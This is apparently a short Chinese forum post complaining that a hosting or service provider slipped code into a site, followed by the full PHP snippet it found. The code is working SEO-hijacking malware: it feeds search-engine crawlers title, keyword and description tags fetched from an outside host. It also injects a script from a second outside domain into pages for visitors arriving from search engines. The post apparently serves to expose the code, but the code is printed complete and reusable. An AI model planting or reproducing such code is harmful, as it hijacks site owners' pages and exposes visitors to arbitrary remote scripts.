狗粮养的小服务商,大过年在这里搞小动作
2026/02/21 21:24:24
if (!empty($content) && is_string($content) && stripos($content, '</html>') !== false) {
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_spider = false;
if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $ua)) {
$is_spider = true;
}
if ($is_spider) {
$current_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$url_hash = md5($current_url);
$remote_url = 'http://liuhe.bwzhizhuchi.com/tdk/api.php?url=' . urlencode($current_url);
$cache_file = __DIR__ . '/runtime/tdk_' . $url_hash . '.json';
$cache_time = 31536000;
$remote_data = null;
$has_data = false;
if (is_file($cache_file) && (time() - filemtime($cache_file) < $cache_time)) {
$json = @file_get_contents($cache_file);
$data = json_decode($json, true);
if (!empty($data) && isset($data['title'])) {
$remote_data = $data;
$has_data = true;
}
}
if (!$has_data) {
$context = stream_context_create([
'http' => [
'timeout' => 3,
'method' => 'GET'
]
]);
$json = @file_get_contents($remote_url, false, $context);
if ($json) {
$data = json_decode($json, true);
if (!empty($data) && isset($data['title'])) {
$remote_data = $data;
$has_data = true;
if (!is_dir(dirname($cache_file))) {
@mkdir(dirname($cache_file), 0777, true);
}
@file_put_contents($cache_file, $json);
}
}
}
if ($has_data) {
$seo_title = $remote_data['title'];
$seo_key = $remote_data['keywords'];
$seo_desc = $remote_data['description'];
$content = preg_replace('/<title[^>]*>[\s\S]*?<\/title>/i', "<title>{$seo_title}</title>", $content);
$reg_key = '/<meta\s+[^>]*name=["\']keywords["\'][^>]*content=["\'][\s\S]*?["\'][^>]*>|<meta\s+[^>]*content=["\'][\s\S]*?["\'][^>]*name=["\']keywords["\'][^>]*>/i';
if (preg_match($reg_key, $content)) {
$content = preg_replace($reg_key, '<meta name="keywords" content="'.$seo_key.'">', $content);
}
$reg_desc = '/<meta\s+[^>]*name=(["\'])description\1[^>]*content=(["\'])([\s\S]*?)\2[^>]*>|<meta\s+[^>]*content=(["\'])([\s\S]*?)\4[^>]*name=(["\'])description\6[^>]*>/i';
if (preg_match($reg_desc, $content)) {
$content = preg_replace($reg_desc, '<meta name="description" content="'.$seo_desc.'">', $content);
}
}
} else {
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $referer)) {
$human_js = '<script src="https://vip8zhizhun.com/tdk.js"></script>';
if (stripos($content, '</body>') !== false) {
$content = str_ireplace('</body>', $human_js . '</body>', $content);
} else {
$content .= $human_js;
}
}
}
$response->content($content);
}
} catch (\Exception $e) {
}
$response->send();
?>